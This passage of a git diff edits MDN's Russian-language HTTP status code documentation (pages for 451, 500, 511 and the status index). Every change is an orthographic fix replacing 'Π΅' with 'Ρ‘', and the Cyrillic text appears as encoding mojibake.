<p>Π•Π³ΠΎ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ, Ссли ΠΎΠ±Ρ‰Π΅Π΅ количСство ΠΏΠΎΠ»Π΅ΠΉ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° запроса слишком Π²Π΅Π»ΠΈΠΊΠΎ ΠΈΠ»ΠΈ ΠΊΠΎΠ³Π΄Π° ΠΎΠ΄Π½ΠΎ ΠΏΠΎΠ»Π΅ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° слишком Π²Π΅Π»ΠΈΠΊΠΎ.</p>
-<p>Π­Ρ‚Π° ошибка Π½Π΅ Π΄ΠΎΠ»ΠΆΠ½Π° ΠΏΡ€ΠΎΠΈΡΡ…ΠΎΠ΄ΠΈΡ‚ΡŒ Π² Ρ…ΠΎΡ€ΠΎΡˆΠΎ ΠΏΡ€ΠΎΠ²Π΅Ρ€Π΅Π½Π½Ρ‹Ρ… производствСнных систСмах, Π½ΠΎ Π΅Π΅ ΠΌΠΎΠΆΠ½ΠΎ Π½Π°ΠΉΡ‚ΠΈ Ρ‡Π°Ρ‰Π΅ ΠΏΡ€ΠΈ тСстировании Π½ΠΎΠ²ΠΎΠΉ систСмы.</p>
+<p>Π­Ρ‚Π° ошибка Π½Π΅ Π΄ΠΎΠ»ΠΆΠ½Π° ΠΏΡ€ΠΎΠΈΡΡ…ΠΎΠ΄ΠΈΡ‚ΡŒ Π² Ρ…ΠΎΡ€ΠΎΡˆΠΎ ΠΏΡ€ΠΎΠ²Π΅Ρ€Π΅Π½Π½Ρ‹Ρ… производствСнных систСмах, Π½ΠΎ Π΅Ρ‘ ΠΌΠΎΠΆΠ½ΠΎ Π½Π°ΠΉΡ‚ΠΈ Ρ‡Π°Ρ‰Π΅ ΠΏΡ€ΠΈ тСстировании Π½ΠΎΠ²ΠΎΠΉ систСмы.</p>
<h2 id="Бтатус">Бтатус</h2>
diff --git a/files/ru/web/http/status/451/index.html b/files/ru/web/http/status/451/index.html
index 426cde0317..5c5336f84d 100644
--- a/files/ru/web/http/status/451/index.html
+++ b/files/ru/web/http/status/451/index.html
@@ -13,7 +13,7 @@ translation_of: Web/HTTP/Status/451
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€">ΠŸΡ€ΠΈΠΌΠ΅Ρ€</h2>
-<p>Π­Ρ‚ΠΎΡ‚ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΎΡ‚Π²Π΅Ρ‚Π° бСрСтся ΠΈΠ· IETF RFC (см. Π½ΠΈΠΆΠ΅) ΠΈ содСрТит ссылку Π½Π° {{interwiki("wikipedia", "Monty_Python's_Life_of_Brian", "Monty Python's Life of Brian")}}.</p>
+<p>Π­Ρ‚ΠΎΡ‚ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΎΡ‚Π²Π΅Ρ‚Π° бСрётся ΠΈΠ· IETF RFC (см. Π½ΠΈΠΆΠ΅) ΠΈ содСрТит ссылку Π½Π° {{interwiki("wikipedia", "Monty_Python's_Life_of_Brian", "Monty Python's Life of Brian")}}.</p>
<p>ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ {{HTTPHeader("Link")}}Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ ΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΠ΅ aΒ <code>rel="blocked-by"</code>, ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΡ†ΠΈΡ€ΡƒΡŽΡ‰Π΅Π΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, отвСтствСнный Π·Π° нСдоступный рСсурс, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ имя Ρ‡Π΅Π»ΠΎΠ²Π΅ΠΊΠ° ΠΈΠ»ΠΈ ΠΎΡ€Π³Π°Π½ΠΈΠ·Π°Ρ†ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΡ€Π΅Π΄ΡŠΡΠ²ΠΈΠ»ΠΈ Π·Π°ΠΊΠΎΠ½Π½Ρ‹ΠΉ запрос Π’ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅ Ρ‡Π΅Π³ΠΎ ΡƒΠ΄Π°Π»Π΅Π½ΠΈΠ΅ содСрТимого.</p>
diff --git a/files/ru/web/http/status/500/index.html b/files/ru/web/http/status/500/index.html
index 0e64be8339..2e77fa5c00 100644
--- a/files/ru/web/http/status/500/index.html
+++ b/files/ru/web/http/status/500/index.html
@@ -34,7 +34,7 @@ translation_of: Web/HTTP/Status/500
<h2 id="Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ_с_Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ">Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ с Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ</h2>
-<p class="hidden"><span id="result_box" lang="ru"><span>Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаСтся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ….</span></span> Π•<span id="result_box" lang="ru"><span>сли Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄ Π² эти Π΄Π°Π½Π½Ρ‹Π΅, поТалуйста, ΠΏΠ΅Ρ€Π΅ΠΉΠ΄ΠΈΡ‚Π΅ Π½Π° </span></span><a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> ΠΈ ΠΏΡ€ΠΈΡˆΠ»ΠΈΡ‚Π΅ Π½Π°ΠΌ "pull-request" запрос.</p>
+<p class="hidden"><span id="result_box" lang="ru"><span>Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаётся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ….</span></span> Π•<span id="result_box" lang="ru"><span>сли Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄ Π² эти Π΄Π°Π½Π½Ρ‹Π΅, поТалуйста, ΠΏΠ΅Ρ€Π΅ΠΉΠ΄ΠΈΡ‚Π΅ Π½Π° </span></span><a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> ΠΈ ΠΏΡ€ΠΈΡˆΠ»ΠΈΡ‚Π΅ Π½Π°ΠΌ "pull-request" запрос.</p>
<p>{{Compat("http.status.500")}}</p>
diff --git a/files/ru/web/http/status/511/index.html b/files/ru/web/http/status/511/index.html
index de17af10eb..55cbc8cc62 100644
--- a/files/ru/web/http/status/511/index.html
+++ b/files/ru/web/http/status/511/index.html
@@ -7,9 +7,9 @@ translation_of: Web/HTTP/Status/511
<p>The HTTP <code><strong>511 Network Authentication Required</strong></code> ΠΊΠΎΠ΄ состояния ΠΎΡ‚Π²Π΅Ρ‚Π° ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ ΠΊΠ»ΠΈΠ΅Π½Ρ‚ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΏΡ€ΠΎΠΉΡ‚ΠΈ Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΡŽ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ сСти.</p>
-<p>Π­Ρ‚ΠΎΡ‚ статус Π½Π΅ гСнСрируСтся сСрвСрами происхоТдСния, Π° ΠΏΡƒΡ‚Π΅ΠΌ ΠΏΠ΅Ρ€Π΅Ρ…Π²Π°Ρ‚Π° прокси-сСрвСров, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΡƒΡŽΡ‚ доступ ΠΊ сСти.</p>
+<p>Π­Ρ‚ΠΎΡ‚ статус Π½Π΅ гСнСрируСтся сСрвСрами происхоТдСния, Π° ΠΏΡƒΡ‚Ρ‘ΠΌ ΠΏΠ΅Ρ€Π΅Ρ…Π²Π°Ρ‚Π° прокси-сСрвСров, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΡƒΡŽΡ‚ доступ ΠΊ сСти.</p>
-<p>Π‘Π΅Ρ‚Π΅Π²Ρ‹Π΅ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Ρ‹ ΠΈΠ½ΠΎΠ³Π΄Π° Ρ‚Ρ€Π΅Π±ΡƒΡŽΡ‚ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ, принятия условий ΠΈΠ»ΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ взаимодСйствия с ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ ΠΏΠ΅Ρ€Π΅Π΄ прСдоставлСниСм доступа (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π² ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚-ΠΊΠ°Ρ„Π΅ ΠΈΠ»ΠΈ Π² аэропорту). Они часто ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΡ†ΠΈΡ€ΡƒΡŽΡ‚ ΠΊΠ»ΠΈΠ΅Π½Ρ‚ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΅Ρ‰Π΅ Π½Π΅ сдСлали этого, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ свой адрСс  Media Access Control ({{Glossary("MAC")}}).</p>
+<p>Π‘Π΅Ρ‚Π΅Π²Ρ‹Π΅ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Ρ‹ ΠΈΠ½ΠΎΠ³Π΄Π° Ρ‚Ρ€Π΅Π±ΡƒΡŽΡ‚ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ, принятия условий ΠΈΠ»ΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ взаимодСйствия с ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ ΠΏΠ΅Ρ€Π΅Π΄ прСдоставлСниСм доступа (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π² ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚-ΠΊΠ°Ρ„Π΅ ΠΈΠ»ΠΈ Π² аэропорту). Они часто ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΡ†ΠΈΡ€ΡƒΡŽΡ‚ ΠΊΠ»ΠΈΠ΅Π½Ρ‚ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΅Ρ‰Ρ‘ Π½Π΅ сдСлали этого, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ свой адрСс  Media Access Control ({{Glossary("MAC")}}).</p>
<h2 id="Бтатус">Бтатус</h2>
diff --git a/files/ru/web/http/status/index.html b/files/ru/web/http/status/index.html
index 38b076f287..4b8b0ffd4b 100644
--- a/files/ru/web/http/status/index.html
+++ b/files/ru/web/http/status/index.html
@@ -57,7 +57,7 @@ translation_of: Web/HTTP/Status
<tr>
<td>102</td>
<td>Processing</td>
- <td>"Π’ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ΅". Π­Ρ‚ΠΎΡ‚ ΠΊΠΎΠ΄ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ сСрвСр ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠ» запрос ΠΈ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚ Π΅Π³ΠΎ, Π½ΠΎ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° Π΅Ρ‰Π΅ Π½Π΅ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½Π°.</td>
+ <td>"Π’ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ΅". Π­Ρ‚ΠΎΡ‚ ΠΊΠΎΠ΄ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ сСрвСр ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠ» запрос ΠΈ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚ Π΅Π³ΠΎ, Π½ΠΎ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° Π΅Ρ‰Ρ‘ Π½Π΅ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½Π°.</td>
<td>Волько HTTP/1.1</td>
</tr>
<tr>
@@ -135,7 +135,7 @@ translation_of: Web/HTTP/Status
<td id="301">301</td>
<td>Moved Permanently</td>
<td>
- <p>"ΠŸΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Ρ‘Π½ Π½Π° постоянной основС". Π­Ρ‚ΠΎΡ‚ ΠΊΠΎΠ΄ ΠΎΡ‚Π²Π΅Ρ‚Π° Π·Π½Π°Ρ‡ΠΈΡ‚, Ρ‡Ρ‚ΠΎ <span id="result_box" lang="ru"><span>URI </span><span>Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅ΠΌΠΎΠ³ΠΎ</span> <span>рСсурса</span> <span>Π±Ρ‹Π» ΠΈΠ·ΠΌΠ΅Π½Π΅Π½</span><span>.</span> <span>Π’ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ,</span> <span>Π½ΠΎΠ²Ρ‹ΠΉ</span> <span>URI </span></span><span lang="ru"><span>Π±ΡƒΠ΄Π΅Ρ‚ </span></span>прСдоставлСн <span lang="ru"><span>Π² ΠΎΡ‚Π²Π΅Ρ‚Π΅.</span></span></p>
+ <p>"ΠŸΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Ρ‘Π½ Π½Π° постоянной основС". Π­Ρ‚ΠΎΡ‚ ΠΊΠΎΠ΄ ΠΎΡ‚Π²Π΅Ρ‚Π° Π·Π½Π°Ρ‡ΠΈΡ‚, Ρ‡Ρ‚ΠΎ <span id="result_box" lang="ru"><span>URI </span><span>Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅ΠΌΠΎΠ³ΠΎ</span> <span>рСсурса</span> <span>Π±Ρ‹Π» ΠΈΠ·ΠΌΠ΅Π½Ρ‘Π½</span><span>.</span> <span>Π’ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ,</span> <span>Π½ΠΎΠ²Ρ‹ΠΉ</span> <span>URI </span></span><span lang="ru"><span>Π±ΡƒΠ΄Π΅Ρ‚ </span></span>прСдоставлСн <span lang="ru"><span>Π² ΠΎΡ‚Π²Π΅Ρ‚Π΅.</span></span></p>
</td>
<td>HTTP/0.9 and later</td>
</tr>
@@ -143,7 +143,7 @@ translation_of: Web/HTTP/Status
<td id="302">302</td>
<td>Found</td>
<td>
- <p>"НайдСно". Π­Ρ‚ΠΎΡ‚ ΠΊΠΎΠ΄ ΠΎΡ‚Π²Π΅Ρ‚Π° Π·Π½Π°Ρ‡ΠΈΡ‚, Ρ‡Ρ‚ΠΎ Π·Π°ΠΏΡ€ΠΎΡˆΠ΅Π½Π½Ρ‹ΠΉ рСсурс <em>Π²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½</em>. <span id="result_box" lang="ru"><span>НовыС</span> <span>измСнСния Π²</span> <span>URI</span> <span>ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ</span></span> доступны Π² <span id="result_box" lang="ru"><span>Π±ΡƒΠ΄ΡƒΡ‰Π΅ΠΌ</span></span>. <span id="result_box" lang="ru"><span>Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ,</span> этот<span> </span><span>URI,</span> <span>Π΄ΠΎΠ»ΠΆΠ΅Π½</span> <span>Π±Ρ‹Ρ‚ΡŒ использован</span> <span>ΠΊΠ»ΠΈΠ΅Π½Ρ‚ΠΎΠΌ</span> <span>Π²</span> <span>Π±ΡƒΠ΄ΡƒΡ‰ΠΈΡ… запросах</span><span>.</span></span></p>
+ <p>"НайдСно". Π­Ρ‚ΠΎΡ‚ ΠΊΠΎΠ΄ ΠΎΡ‚Π²Π΅Ρ‚Π° Π·Π½Π°Ρ‡ΠΈΡ‚, Ρ‡Ρ‚ΠΎ Π·Π°ΠΏΡ€ΠΎΡˆΠ΅Π½Π½Ρ‹ΠΉ рСсурс <em>Π²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎ ΠΈΠ·ΠΌΠ΅Π½Ρ‘Π½</em>. <span id="result_box" lang="ru"><span>НовыС</span> <span>измСнСния Π²</span> <span>URI</span> <span>ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ</span></span> доступны Π² <span id="result_box" lang="ru"><span>Π±ΡƒΠ΄ΡƒΡ‰Π΅ΠΌ</span></span>. <span id="result_box" lang="ru"><span>Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ,</span> этот<span> </span><span>URI,</span> <span>Π΄ΠΎΠ»ΠΆΠ΅Π½</span> <span>Π±Ρ‹Ρ‚ΡŒ использован</span> <span>ΠΊΠ»ΠΈΠ΅Π½Ρ‚ΠΎΠΌ</span> <span>Π²</span> <span>Π±ΡƒΠ΄ΡƒΡ‰ΠΈΡ… запросах</span><span>.</span></span></p>
</td>
<td>HTTP/0.9 and later</td>
</tr>
@@ -156,7 +156,7 @@ translation_of: Web/HTTP/Status
<tr>
<td id="304">304</td>
<td>Not Modified</td>
- <td>"НС ΠΌΠΎΠ΄ΠΈΡ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Π½ΠΎ". Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для ΠΊΡΡˆΠΈΡ€ΠΎΠ²Π°Π½ΠΈΡ. Π­Ρ‚ΠΎ ΠΊΠΎΠ΄ ΠΎΡ‚Π²Π΅Ρ‚Π° Π·Π½Π°Ρ‡ΠΈΡ‚, Ρ‡Ρ‚ΠΎ Π·Π°ΠΏΡ€ΠΎΡˆΠ΅Π½Π½Ρ‹ΠΉ рСсурс Π½Π΅ Π±Ρ‹Π» ΠΈΠ·ΠΌΠ΅Π½Π΅Π½. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, ΠΊΠ»ΠΈΠ΅Π½Ρ‚ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠ°Ρ‚ΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΊΡΡˆΠΈΡ€ΠΎΠ²Π°Π½Π½ΡƒΡŽ Π²Π΅Ρ€ΡΠΈΡŽ ΠΎΡ‚Π²Π΅Ρ‚Π°.</td>
+ <td>"НС ΠΌΠΎΠ΄ΠΈΡ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Π½ΠΎ". Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для ΠΊΡΡˆΠΈΡ€ΠΎΠ²Π°Π½ΠΈΡ. Π­Ρ‚ΠΎ ΠΊΠΎΠ΄ ΠΎΡ‚Π²Π΅Ρ‚Π° Π·Π½Π°Ρ‡ΠΈΡ‚, Ρ‡Ρ‚ΠΎ Π·Π°ΠΏΡ€ΠΎΡˆΠ΅Π½Π½Ρ‹ΠΉ рСсурс Π½Π΅ Π±Ρ‹Π» ΠΈΠ·ΠΌΠ΅Π½Ρ‘Π½. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, ΠΊΠ»ΠΈΠ΅Π½Ρ‚ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠ°Ρ‚ΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΊΡΡˆΠΈΡ€ΠΎΠ²Π°Π½Π½ΡƒΡŽ Π²Π΅Ρ€ΡΠΈΡŽ ΠΎΡ‚Π²Π΅Ρ‚Π°.</td>
<td>HTTP/0.9 and later</td>
</tr>
<tr>
@@ -205,7 +205,7 @@ translation_of: Web/HTTP/Status
<tr>
<td id="402">402</td>
<td>Payment Required</td>
- <td>"НСобходима ΠΎΠΏΠ»Π°Ρ‚Π°". Π­Ρ‚ΠΎΡ‚ ΠΊΠΎΠ΄ ΠΎΡ‚Π²Π΅Ρ‚Π° Π·Π°Ρ€Π΅Π·Π΅Ρ€Π²ΠΈΡ€ΠΎΠ²Π°Π½ для Π±ΡƒΠ΄ΡƒΡ‰Π΅Π³ΠΎ использования. ΠŸΠ΅Ρ€Π²ΠΎΠ½Π°Ρ‡Π°Π»ΡŒΠ½Π°Ρ Ρ†Π΅Π»ΡŒ для создания этого ΠΊΠΎΠ³Π΄Π° Π±Ρ‹Π»Π° Π² использовании Π΅Π³ΠΎ для Ρ†ΠΈΡ„Ρ€ΠΎΠ²Ρ‹Ρ… ΠΏΠ»Π°Ρ‚Π΅ΠΆΠ½Ρ‹Ρ… систСм(Π½Π° Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ Π½Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ).</td>
+ <td>"НСобходима ΠΎΠΏΠ»Π°Ρ‚Π°". Π­Ρ‚ΠΎΡ‚ ΠΊΠΎΠ΄ ΠΎΡ‚Π²Π΅Ρ‚Π° Π·Π°Ρ€Π΅Π·Π΅Ρ€Π²ΠΈΡ€ΠΎΠ²Π°Π½ для Π±ΡƒΠ΄ΡƒΡ‰Π΅Π³ΠΎ использования. ΠŸΠ΅Ρ€Π²ΠΎΠ½Π°Ρ‡Π°Π»ΡŒΠ½Π°Ρ Ρ†Π΅Π»ΡŒ для создания этого ΠΊΠΎΠ³Π΄Π° Π±Ρ‹Π»Π° Π² использовании Π΅Π³ΠΎ для Ρ†ΠΈΡ„Ρ€ΠΎΠ²Ρ‹Ρ… ΠΏΠ»Π°Ρ‚Ρ‘ΠΆΠ½Ρ‹Ρ… систСм(Π½Π° Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ Π½Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ).</td>
<td>HTTP/0.9 and 1.1</td>
</tr>
<tr>
@@ -223,14 +223,14 @@ translation_of: Web/HTTP/Status
<tr>
<td id="405">405</td>
<td>Method Not Allowed</td>
- <td>"ΠœΠ΅Ρ‚ΠΎΠ΄ Π½Π΅ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½". Π‘Π΅Ρ€Π²Π΅Ρ€ Π·Π½Π°Π΅Ρ‚ ΠΎ Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅ΠΌΠΎΠΌ ΠΌΠ΅Ρ‚ΠΎΠ΄Π΅, Π½ΠΎ ΠΎΠ½ Π±Ρ‹Π» Π΄Π΅Π°ΠΊΡ‚ΠΈΠ²ΠΈΡ€ΠΎΠ²Π°Π½ ΠΈ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ использован. Π”Π²Π° ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… ΠΌΠ΅Ρ‚ΠΎΠ΄Π°,Β Β <code>GET</code> ΠΈΒ <code>HEAD</code>,Β  Π½ΠΈΠΊΠΎΠ³Π΄Π° Π½Π΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ Π΄Π΅Π°ΠΊΡ‚ΠΈΠ²ΠΈΡ€ΠΎΠ²Π°Π½Ρ‹ ΠΈ Π½Π΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Ρ‚ΡŒ этот ΠΊΠΎΠ΄ ошибки.</td>
+ <td>"ΠœΠ΅Ρ‚ΠΎΠ΄ Π½Π΅ Ρ€Π°Π·Ρ€Π΅ΡˆΡ‘Π½". Π‘Π΅Ρ€Π²Π΅Ρ€ Π·Π½Π°Π΅Ρ‚ ΠΎ Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅ΠΌΠΎΠΌ ΠΌΠ΅Ρ‚ΠΎΠ΄Π΅, Π½ΠΎ ΠΎΠ½ Π±Ρ‹Π» Π΄Π΅Π°ΠΊΡ‚ΠΈΠ²ΠΈΡ€ΠΎΠ²Π°Π½ ΠΈ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ использован. Π”Π²Π° ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… ΠΌΠ΅Ρ‚ΠΎΠ΄Π°,Β Β <code>GET</code> ΠΈΒ <code>HEAD</code>,Β  Π½ΠΈΠΊΠΎΠ³Π΄Π° Π½Π΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ Π΄Π΅Π°ΠΊΡ‚ΠΈΠ²ΠΈΡ€ΠΎΠ²Π°Π½Ρ‹ ΠΈ Π½Π΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Ρ‚ΡŒ этот ΠΊΠΎΠ΄ ошибки.</td>
<td>HTTP/1.1 only</td>
</tr>
<tr>
<td id="406">406</td>
<td>Not Acceptable</td>
<td>
- <p>Π­Ρ‚ΠΎΡ‚ ΠΎΡ‚Π²Π΅Ρ‚ отсылаСтся, ΠΊΠΎΠ³Π΄Π° Π²Π΅Π± сСрвСр послС выполнСния <a href="/en/HTTP/Content_negotiation#Server-driven_negotiation" title="https://developer.mozilla.org/en/HTTP/Content_negotiation#Server-driven_negotiation">server-driven content negotiation</a>, Π½Π΅ нашСл ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°, ΠΎΡ‚Π²Π΅Ρ‡Π°ΡŽΡ‰Π΅Π³ΠΎ критСриям, ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½Ρ‹ΠΌ ΠΈΠ· user agent.</p>
+ <p>Π­Ρ‚ΠΎΡ‚ ΠΎΡ‚Π²Π΅Ρ‚ отсылаСтся, ΠΊΠΎΠ³Π΄Π° Π²Π΅Π± сСрвСр послС выполнСния <a href="/en/HTTP/Content_negotiation#Server-driven_negotiation" title="https://developer.mozilla.org/en/HTTP/Content_negotiation#Server-driven_negotiation">server-driven content negotiation</a>, Π½Π΅ Π½Π°ΡˆΡ‘Π» ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°, ΠΎΡ‚Π²Π΅Ρ‡Π°ΡŽΡ‰Π΅Π³ΠΎ критСриям, ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½Ρ‹ΠΌ ΠΈΠ· user agent.</p>
</td>
<td>HTTP/1.1 only</td>
</tr>
@@ -243,7 +243,7 @@ translation_of: Web/HTTP/Status
<tr>
<td id="408">408</td>
<td>Request Timeout</td>
